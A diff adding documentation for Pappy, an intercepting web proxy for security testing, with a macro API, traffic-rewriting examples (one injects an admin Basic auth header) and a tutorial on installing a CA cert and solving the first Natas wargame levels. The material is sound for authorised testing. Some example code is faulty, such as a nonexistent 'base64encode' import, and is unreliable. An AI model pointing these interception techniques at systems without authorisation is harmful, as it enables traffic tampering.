+    -rw-r--r-- 1 scaryhacker wheel     241 Nov 26 17:18 macro_test.py
+
+In this case we have a ``blank``, ``hackthensa``, ``testgen``, and
+``test`` macro. A macro script is any python script that defines a
+``run_macro(args)`` function and a ``MACRO_NAME`` variable. For example,
+a simple macro would be:
+
+::
+
+    --- macro_print.py
+
+    MACRO_NAME = 'Print Macro'
+
+    def run_macro(args):
+        if args:
+            print "Hello, %s!" % args[0]
+        else:
+            print "Hello, Pappy!"
+
+You can place this macro in your project directory then load and run it
+from Pappy. When a macro is run, arguments are passed from the command
+line. Arguments are separated the same way as they are on the command
+line, so if you want to use spaces in your argument, you have to put
+quotes around it.
+
+::
+
+    $ pappy
+    Proxy is listening on port 8000
+    itsPappyTime> lma
+    Loaded "<Macro Test Macro (tm/test)>"
+    Loaded "<Macro Macro 6494496 (testgen)>"
+    Loaded "<Macro Print Macro (print)>"
+    Loaded "<Macro Hack the NSA (htnsa/hackthensa)>"
+    Loaded "<Macro Macro 62449408 (blank)>"
+    itsPappyTime> rma print
+    Hello, Pappy!
+    itsPappyTime> rma print NSA
+    Hello, NSA!
+    itsPappyTime> rma print Idiot Slayer
+    Hello, Idiot!
+    itsPappyTime> rma print "Idiot Slayer"
+    Hello, Idiot Slayer!
+
+You'll need to run ``lma`` every time you make a change to the macro in
+order to reload it. In addition, any code outside of the ``run_macro``
+function will be run when it the macro gets loaded.
+
+Generating Macros From Requests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also generate macros that have Pappy ``Request`` objects created
+with the same information as requests you've already made. For example:
+
+::
+
+    $ pappy
+    Proxy is listening on port 8000
+    itsPappyTime> ls
+    ID  Verb  Host         Path               S-Code  Req Len  Rsp Len  Time  Mngl
+    5   GET   vitaly.sexy  /esr1.jpg          200 OK  0        17653    --    --
+    4   GET   vitaly.sexy  /netscape.gif      200 OK  0        1135     --    --
+    3   GET   vitaly.sexy  /construction.gif  200 OK  0        28366    --    --
+    2   GET   vitaly.sexy  /vitaly2.jpg       200 OK  0        2034003  --    --
+    1   GET   vitaly.sexy  /                  200 OK  0        1201     --    --
+    itsPappyTime> gma sexy 1
+    Wrote script to macro_sexy.py
+    itsPappyTime> quit
+    $ cat macro_sexy.py
+    from pappyproxy.http import Request, get_request, post_request
+
+    MACRO_NAME = 'Macro 94664581'
+    SHORT_NAME = ''
+
+    ###########
+    ## Requests
+
+    req0 = Request((
+    'GET / HTTP/1.1\r\n'
+    'Host: vitaly.sexy\r\n'
+    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
+    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
+    'Accept-Language: en-US,en;q=0.5\r\n'
+    'Accept-Encoding: gzip, deflate\r\n'
+    'Connection: keep-alive\r\n'
+    'Pragma: no-cache\r\n'
+    'Cache-Control: no-cache\r\n'
+    '\r\n'
+    ))
+
+
+    def run_macro(args):
+        # Example:
+        # req = req0.copy() # Copy req0
+        # req.submit() # Submit the request to get a response
+        # print req.response.raw_headers # print the response headers
+        # req.save() # save the request to the data file
+        # or copy req0 into a loop and use string substitution to automate requests
+        pass
+    $
+
+If you enter in a value for ``SHORT_NAME``, you can use it as a shortcut
+to run that macro. So if in a macro you set ``SHORT_NAME='tm'`` you can
+run it by running ``itsPappyTime> rma tm``.
+
++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
+| Command                  | Aliases                       | Description                                                                                                                         |
++==========================+===============================+=====================================================================================================================================+
+| ``lma [dir]``            | ``load_macros``, ``lma``      | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory)                            |
++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
+| ``rma <macro name>``     | ``run_macro``, ``rma``        | Run a macro with the given name. You can use the shortname, filename, or long name.                                                 |
++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
+| ``gma <name> [id(s)]``   | ``generate_macro``, ``gma``   | Generate a macro with the given name. If request IDs are given, the macro will contain request objects that contain each request.   |
++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
+| ``rpy <id(s)>``          | ``rpy``                       | Print the Python object definitions for each of the given ids                                                                       |
++--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
+
+Request Objects
+~~~~~~~~~~~~~~~
+
+The main method of interacting with the proxy is through ``Request``
+objects. You can submit a request with ``req.sumbit()`` and save it to
+the data file with ``req.save()``. The objects also have attributes
+which can be used to modify the request in a high-level way.
+Unfortunately, I haven't gotten around to writing full docs on the API
+and it's still changing every once in a while so I apologize if I pull
+the carpet out from underneath you.
+
+Dict-like objects are represented with a custom class called a
+``RepeatableDict``. I haven't gotten around to writing docs on it yet,
+so just interact with it like a dict and don't be surprised if it's
+missing some methods you would expect a dict to have.
+
+Here is a quick (non-comprehensive) list of attributes that you can use
+with ``Request`` objects:
+
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| Attribute       | Settable?   | Data Type        | Description                                                                                                     |
++=================+=============+==================+=================================================================================================================+
+| cookies         | Yes         | RepeatableDict   | Cookies sent in the request                                                                                     |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| fragment        | Yes         | String           | The url fragment (The text after the #)                                                                         |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| full\_path      | No          | String           | The path including url params and the fragment                                                                  |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| full\_request   | No          | String           | The full request including headers and data                                                                     |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| headers         | Yes         | RepeatableDict   | The headers of the request                                                                                      |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| host            | Yes         | String           | The host that the request is sent to                                                                            |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| is\_ssl         | Yes         | Bool             | Whether the request is/was sent over SSL                                                                        |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| path            | Yes         | String           | The document path (ie www.a.com/this/is/the/path)                                                               |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| port            | Yes         | Integer          | The port the request is/was sent to                                                                             |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| post\_params    | Yes         | RepeatableDict   | Post parameters                                                                                                 |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| raw\_data       | Yes         | String           | The data part of the request                                                                                    |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| raw\_headers    | No          | String           | The text of the headers section of the request                                                                  |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| reqid           | Yes         | Integer          | The ID of the request. If set when save() is called, it replaces the request with the same id in the database   |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| response        | Yes         | Response         | The associated response for the request                                                                         |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| rsptime         | No          | Datetime Delta   | The time it took to complete the request. Set when submit() is called                                           |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| status\_line    | Yes         | String           | The status line of the request (ie 'GET / HTTP/1.1')                                                            |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| time\_end       | Yes         | Datetime         | The time when the request was completed                                                                         |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| time\_start     | Yes         | Datetime         | The time when the request was started                                                                           |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| unmangled       | Yes         | Request          | If the request was mangled, the unmangled version of the request                                                |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| url             | Yes         | String           | The URL of the request (ie 'https://www.google.com')                                                            |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| url\_params     | Yes         | RepeatableDict   | The URL parameters of the request                                                                               |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| verb            | Yes         | String           | The verb used for the request (ie GET, POST, PATCH, HEAD, etc). Doesn't have to be a valid verb.                |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+| version         | Yes         | String           | The version part of the status line (ie 'HTTP/1.1')                                                             |
++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
+
+Request methods:
+
++------------+-------------------------------------------------------------------------------------------------------------------------------+
+| Function   | Description                                                                                                                   |
++============+===============================================================================================================================+
+| submit()   | Submit the request through the proxy. Does not save the request to the data file                                              |
++------------+-------------------------------------------------------------------------------------------------------------------------------+
+| save()     | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database   |
++------------+-------------------------------------------------------------------------------------------------------------------------------+
+
+And here is a quick (non-comprehensive) list of attributes that you can
+use with ``Response`` objects:
+
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Attribute        | Settable?   | Data Type        | Description                                                                                                                                                                     |
++==================+=============+==================+=================================================================================================================================================================================+
+| cookies          | Yes         | RepeatableDict   | Cookies set by the response                                                                                                                                                     |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| headers          | Yes         | RepeatableDict   | The headers of the response                                                                                                                                                     |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| response\_code   | Yes         | Integer          | The response code of the response                                                                                                                                               |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| response\_text   | Yes         | String           | The text associated with the response code (ie OK, NOT FOUND)                                                                                                                   |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| rspid            | Yes         | Integer          | The response id of the response. If this is the same as another response in the database, calling save() on the associated request will replace that response in the database   |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| unmangled        | Yes         | Response         | If the response was mangled, this will refer to the unmangled version of the response. Otherwise it is None                                                                     |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| version          | Yes         | String           | The version part of the status line of the response (ie 'HTTP/1.1')                                                                                                             |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| raw\_headers     | No          | String           | A text version of the headers of the response                                                                                                                                   |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| status\_line     | Yes         | String           | The status line of the response                                                                                                                                                 |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| raw\_data        | Yes         | String           | The data portion of the response                                                                                                                                                |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| full\_response   | No          | String           | The full text version of the response including headers and data                                                                                                                |
++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+Like I said, these interfaces are prone to change and will probably
+crash when you use them. If you get a traceback, send me an email so I
+can fix it.
+
+Useful Functions
+~~~~~~~~~~~~~~~~
+
+There are also a few functions which could be useful for making
+requests.
+
++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
+| Function                                              | Description                                                                                                 |
++=======================================================+=============================================================================================================+
+| get\_request(url, url\_params={})                     | Returns a Request object that contains a GET request to the given url with the given url params             |
++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
+| post\_request(url, post\_params={}, url\_params={})   | Returns a Request object that contains a POST request to the given url with the given url and post params   |
++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
+
+Intercepting Macros
+-------------------
+
+Intercepting macros let you mangle requests as they pass through the
+proxy. Similarly to normal macros, an intercepting macro is any python
+script with an "int" prefix. For example, ``int_name.py`` would be a
+valid intercepting macro name. They are also loaded with the ``lma``
+command. An intercepting macro can define two functions:
+``mangle_request`` or ``mangle_response``. Both requests only take a
+``Request`` object as a parameter. ``mangle_request`` returns either a
+new, modified Request object to change it, or it can return the original
+object to not mangle it. The ``mange_response`` must return a
+``Response`` (not request!) object. The request passed in to
+``mangle_response`` will have an associated response with it. If you
+want to modify the response, copy ``request.response``, make
+modifications, then return it. If you would like to pass it through
+untouched, just return ``request.response``.
+
+Note, that due to twisted funkyness, *you cannot save requests from
+intercepting macros*. Technically you **can**, but to do that you'll
+have to define ``async_mangle_request`` (or response) instead of
+``mangle_request`` (or response) then use ``Request.async_deep_save``
+which returns a deferred, then return a deferred from
+``async_mangle_requests`` (inline callbacks work too). If you've never
+used twisted before, please don't try. Twisted is hard.
+
+Confusing? Here are some example intercepting macros:
+
+::
+
+    ## int_cloud2butt.py
+
+    import string
+
+    MACRO_NAME = 'Cloud to Butt'
+
+    def mangle_response(request):
+        r = request.response.copy()
+        r.raw_data = string.replace(r.raw_data, 'cloud', 'butt')
+        r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt')
+        return r
+
+::
+
+    ## int_donothing.py
+
+    import string
+
+    MACRO_NAME = 'Do Nothing'
+
+    def mangle_request(request):
+        return request
+
+    def mangle_response(request):
+        return request.response
+
+::
+
+    ## int_adminplz.py
+
+    from pappyproxy.http import ResponseCookie
+    from base64 import base64encode as b64e
+    import string
+
+    MACRO_NAME = 'Admin Session'
+
+    def mangle_request(request):
+        r = request.copy()
+        r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
+        return r
+
+Enabling/Disabling Intercepting Macros
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can use the following commands to start/stop intercepting macros
+
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+| Command                | Aliases                            | Description                                                                                                          |
++========================+====================================+======================================================================================================================+
+| ``lma [dir]``          | ``load_macros``, ``lma``           | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory)             |
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+| ``rim <macro name>``   | ``run_int_macro``, ``rim``         | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro.   |
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+| ``sim <macro name>``   | ``stop_int_macro``, ``sim``        | Stop an intercepting macro.                                                                                          |
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+| ``lim``                | ``list_int_macros``, ``lim``       | List all enabled/disabled intercepting macros                                                                        |
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+| ``gima <name>``        | ``generate_int_macro``, ``gima``   | Generate an intercepting macro with the given name.                                                                  |
++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
+
+Additional Commands
+-------------------
+
+This is a list of other random stuff you can do that isn't categorized
+under anything else. These are mostly commands that I found that I
+needed while doing a test and just added. They likely don't do a ton of
+error checking and are likely not super full-featured.
+
++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command                                | Aliases             | Description                                                                                                                                           |
++========================================+=====================+=======================================================================================================================================================+
+| ``dump_response <reqid> [filename]``   | ``dump_response``   | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path.   |
++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``export <req|rsp> <reqid>``           | ``export``          | Writes either the full request or response to a file in the current directory.                                                                        |
++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
+
+Logging
+-------
+
+You can watch in real-time what requests are going through the proxy.
+Verbosisty defaults to 1 which just states when connections are
+made/lost and some information on what is happening. If verbosity is set
+to 3, it includes all the data which is sent through the proxy and
+processed. It will print the raw response from the server, what it
+decodes it to, etc. Even if you don't run this command, all the
+information is stored in the dubug directory (the directory is cleared
+every start though!)
+
++-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| Command               | Description                                                                                                                                                                                                                   |
++=======================+===============================================================================================================================================================================================================================+
+| ``log [verbosity]``   | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy   |
++-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

docs/source/pappyproxy.rst

@@ -0,0 +1,133 @@
+pappyproxy package
+==================
+
+..
+   Subpackages
+   -----------
+
+   .. toctree::
+
+       pappyproxy.schema
+       pappyproxy.templates
+       pappyproxy.tests
+       pappyproxy.vim_repeater
+
+    Submodules
+    ----------
+
+..
+   pappyproxy.comm module
+   ----------------------
+
+   .. automodule:: pappyproxy.comm
+       :members:
+       :noindex:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.config module
+   ------------------------
+
+   .. automodule:: pappyproxy.config
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.console module
+   -------------------------
+
+   .. automodule:: pappyproxy.console
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+pappyproxy.context module
+-------------------------
+
+.. automodule:: pappyproxy.context
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.http module
+----------------------
+
+.. automodule:: pappyproxy.http
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.iter module
+----------------------
+
+.. automodule:: pappyproxy.iter
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+..
+   pappyproxy.macros module
+   ------------------------
+
+   .. automodule:: pappyproxy.macros
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.mangle module
+   ------------------------
+
+   .. automodule:: pappyproxy.mangle
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.pappy module
+   -----------------------
+
+   .. automodule:: pappyproxy.pappy
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.proxy module
+   -----------------------
+
+   .. automodule:: pappyproxy.proxy
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.repeater module
+   --------------------------
+
+   .. automodule:: pappyproxy.repeater
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.session module
+   -------------------------
+
+   .. automodule:: pappyproxy.session
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+   pappyproxy.util module
+   ----------------------
+
+   .. automodule:: pappyproxy.util
+       :members:
+       :undoc-members:
+       :show-inheritance:
+
+
+..
+   Module contents
+   ---------------
+
+   .. automodule:: pappyproxy
+       :members:
+       :undoc-members:
+       :show-inheritance:

docs/source/pappyproxy.schema.rst

@@ -0,0 +1,46 @@
+pappyproxy.schema package
+=========================
+
+Submodules
+----------
+
+pappyproxy.schema.schema_1 module
+---------------------------------
+
+.. automodule:: pappyproxy.schema.schema_1
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.schema.schema_2 module
+---------------------------------
+
+.. automodule:: pappyproxy.schema.schema_2
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.schema.schema_3 module
+---------------------------------
+
+.. automodule:: pappyproxy.schema.schema_3
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.schema.update module
+-------------------------------
+
+.. automodule:: pappyproxy.schema.update
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+
+Module contents
+---------------
+
+.. automodule:: pappyproxy.schema
+    :members:
+    :undoc-members:
+    :show-inheritance:

docs/source/pappyproxy.templates.rst

@@ -0,0 +1,30 @@
+pappyproxy.templates package
+============================
+
+Submodules
+----------
+
+pappyproxy.templates.intmacro module
+------------------------------------
+
+.. automodule:: pappyproxy.templates.intmacro
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.templates.macro module
+---------------------------------
+
+.. automodule:: pappyproxy.templates.macro
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+
+Module contents
+---------------
+
+.. automodule:: pappyproxy.templates
+    :members:
+    :undoc-members:
+    :show-inheritance:

docs/source/pappyproxy.tests.rst

@@ -0,0 +1,62 @@
+pappyproxy.tests package
+========================
+
+Submodules
+----------
+
+pappyproxy.tests.test_context module
+------------------------------------
+
+.. automodule:: pappyproxy.tests.test_context
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.tests.test_http module
+---------------------------------
+
+.. automodule:: pappyproxy.tests.test_http
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.tests.test_mangle module
+-----------------------------------
+
+.. automodule:: pappyproxy.tests.test_mangle
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.tests.test_proxy module
+----------------------------------
+
+.. automodule:: pappyproxy.tests.test_proxy
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.tests.test_session module
+------------------------------------
+
+.. automodule:: pappyproxy.tests.test_session
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+pappyproxy.tests.testutil module
+--------------------------------
+
+.. automodule:: pappyproxy.tests.testutil
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+
+Module contents
+---------------
+
+.. automodule:: pappyproxy.tests
+    :members:
+    :undoc-members:
+    :show-inheritance:

docs/source/pappyproxy.vim_repeater.rst

@@ -0,0 +1,22 @@
+pappyproxy.vim_repeater package
+===============================
+
+Submodules
+----------
+
+pappyproxy.vim_repeater.repeater module
+---------------------------------------
+
+.. automodule:: pappyproxy.vim_repeater.repeater
+    :members:
+    :undoc-members:
+    :show-inheritance:
+
+
+Module contents
+---------------
+
+.. automodule:: pappyproxy.vim_repeater
+    :members:
+    :undoc-members:
+    :show-inheritance:

docs/source/tutorial.rst

@@ -0,0 +1,723 @@
+The Pappy Proxy Tutorial
+************************
+
+Table of Contents
+=================
+
+.. toctree::
+
+   tutorial
+
+Getting Set Up
+==============
+
+Introduction
+------------
+This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas <http://overthewire.org/wargames/natas/>`_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat.
+
+Getting Started
+---------------
+The first thing you'll need to do is get Pappy installed.
+
+Install from pypi::
+
+    $ pip install pappy
+
+or install from source::
+
+    $ git clone --recursive https://github.com/roglew/pappy-proxy.git
+    $ cd pappy-proxy
+    $ pip install .
+
+.. note::
+   
+   Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
+
+
+That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
+
+    $ mkdir natas
+    $ cd natas
+    Copying default config to ./config.json
+    Proxy is listening on port 8000
+    itsPappyTime>
+
+If you look at what's in the file, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
+
+* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
+* ``config.json`` stores settings for the proxy
+
+You don't need to touch either of these right now. Just hop back into Pappy.
+
+Installing Pappy's CA Cert
+--------------------------
+In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
+
+To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
+
+    itsPappyTime> gencerts
+    This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
+    (y/N) y
+    Generating certs to /home/anonymouse/pappy/pappyproxy/certs
+    Generating private key...  Done!
+    Generating client cert...  Done!
+    itsPappyTime>
+
+The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
+
+Installing the Cert in Firefox
+++++++++++++++++++++++++++++++
+1. Open Firefox
+2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities``
+3. Click ``Import``
+4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
+
+Installing the Cert in Chrome
++++++++++++++++++++++++++++++
+1. Open Chrome
+2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities``
+3. Click ``Import``
+4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
+
+Installing the Cert in Safari
++++++++++++++++++++++++++++++
+1. Use Finder to navigate to the directory where the certs were generated
+2. Double click the cert and follow the prompts to add it to your system keychain
+
+Installing the Cert in Internet Explorer
+++++++++++++++++++++++++++++++++++++++++
+1. No.
+
+Configuring Your Browser
+------------------------
+Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now.
+
+.. note::
+   Configure your browser extension to use the proxy server at **loalhost** on **port 8000**
+
+Here are some proxy plugins that should work
+
+* Firefox: `FoxyProxy <https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>`_
+* Chrome: `Proxy SwitchySharp <https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en>`_
+
+Testing it Out
+--------------
+Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website::
+
+    /pappynatas/ $ pappy -l
+    Temporary datafile is /tmp/tmp5AQBrH
+    Proxy is listening on port 8000
+    itsPappyTime> ls
+    ID  Verb  Host         Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+    8   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.21  --
+    7   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.22  --
+    6   GET   vitaly.sexy  /esr1.jpg          200 OK                 0        17653    0.29  --
+    5   GET   vitaly.sexy  /netscape.gif      200 OK                 0        1135     0.22  --
+    4   GET   vitaly.sexy  /construction.gif  200 OK                 0        28366    0.26  --
+    3   GET   vitaly.sexy  /vitaly2.jpg       200 OK                 0        2034003  1.34  --
+    2   GET   vitaly.sexy  /                  200 OK                 0        1201     0.21  --
+    1   GET   vitaly.sexy  /                  301 Moved Permanently  0        178      0.27  --
+    itsPappyTime> quit
+    Deleting temporary datafile
+
+Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
+
+The Tutorial
+============
+
+Setting the Scope
+-----------------
+The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
+
+    itsPappyTime> filter host containsr "natas\.labs\.overthewire\.org$"
+    itsPappyTime> scope_save
+
+What these commands do:
+
+1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``.
+2. Save the current context as the scope
+
+The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched.
+
+If this doesn't make sense, don't worry, we'll come back to this.
+
+Natas 0
+-------
+First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one.
+
+1. Right click the page and select "view source"
+2. Read the password for natas1
+3. Visit `<http://natas1.natas.labs.overthewire.org>`_ and log in with the username ``natas1`` and the password you found.
+
+Natas 1
+-------
+Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The two commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
+
+* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
+* ``vfq <reqid>`` prints the full request of a request you specify
+* ``vfs <reqid>`` prints the full response to a request you specify
+
+So to solve natas1, we'll want to view the full response to our request to the page::
+
+    itsPappyTime> ls
+    ID  Verb  Host                               Path                 S-Code            Req Len  Rsp Len  Time  Mngl
+    16  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    15  GET   natas1.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    14  GET   natas1.natas.labs.overthewire.org  /                    200 OK            0        1063     0.27  --
+    13  GET   natas1.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.27  --
+    12  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.27  --
+    11  GET   natas0.natas.labs.overthewire.org  /favicon.ico         404 Not Found     0        307      0.26  --
+    10  GET   natas.labs.overthewire.org         /img/wechall.gif     200 OK            0        9279     0.28  --
+    9   GET   natas.labs.overthewire.org         /js/wechall.js       200 OK            0        1074     0.50  --
+    8   GET   natas.labs.overthewire.org         /js/wechall-data.js  200 OK            0        564      0.48  --
+    7   GET   natas.labs.overthewire.org         /js/jquery-ui.js     200 OK            0        435844   1.37  --
+    6   GET   natas.labs.overthewire.org         /js/jquery-1.9.1.js  200 OK            0        268381   1.20  --
+    4   GET   natas.labs.overthewire.org         /css/wechall.css     200 OK            0        677      0.48  --
+    5   GET   natas.labs.overthewire.org         /css/jquery-ui.css   200 OK            0        32046    0.49  --
+    3   GET   natas.labs.overthewire.org         /css/level.css       200 OK            0        1332     0.48  --
+    2   GET   natas0.natas.labs.overthewire.org  /                    200 OK            0        918      0.26  --
+    1   GET   natas0.natas.labs.overthewire.org  /                    401 Unauthorized  0        479      0.26  --
+    itsPappyTime> vfs 14
+    
+    HTTP/1.1 200 OK
+    Date: Fri, 18 Dec 2015 19:47:21 GMT
+    Server: Apache/2.4.7 (Ubuntu)
+    Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
+    ETag: "427-507cf258a5240-gzip"
+    Accept-Ranges: bytes
+    Vary: Accept-Encoding
+    Content-Length: 1063
+    Keep-Alive: timeout=5, max=100
+    Connection: Keep-Alive
+    Content-Type: text/html
+    
+    ... snip ...
+    
+    <!--The password for natas2 is [password] -->
+
+    ... snip ...
+
+    itsPappyTime>
+
+Yay!
+
+Natas 2
+-------
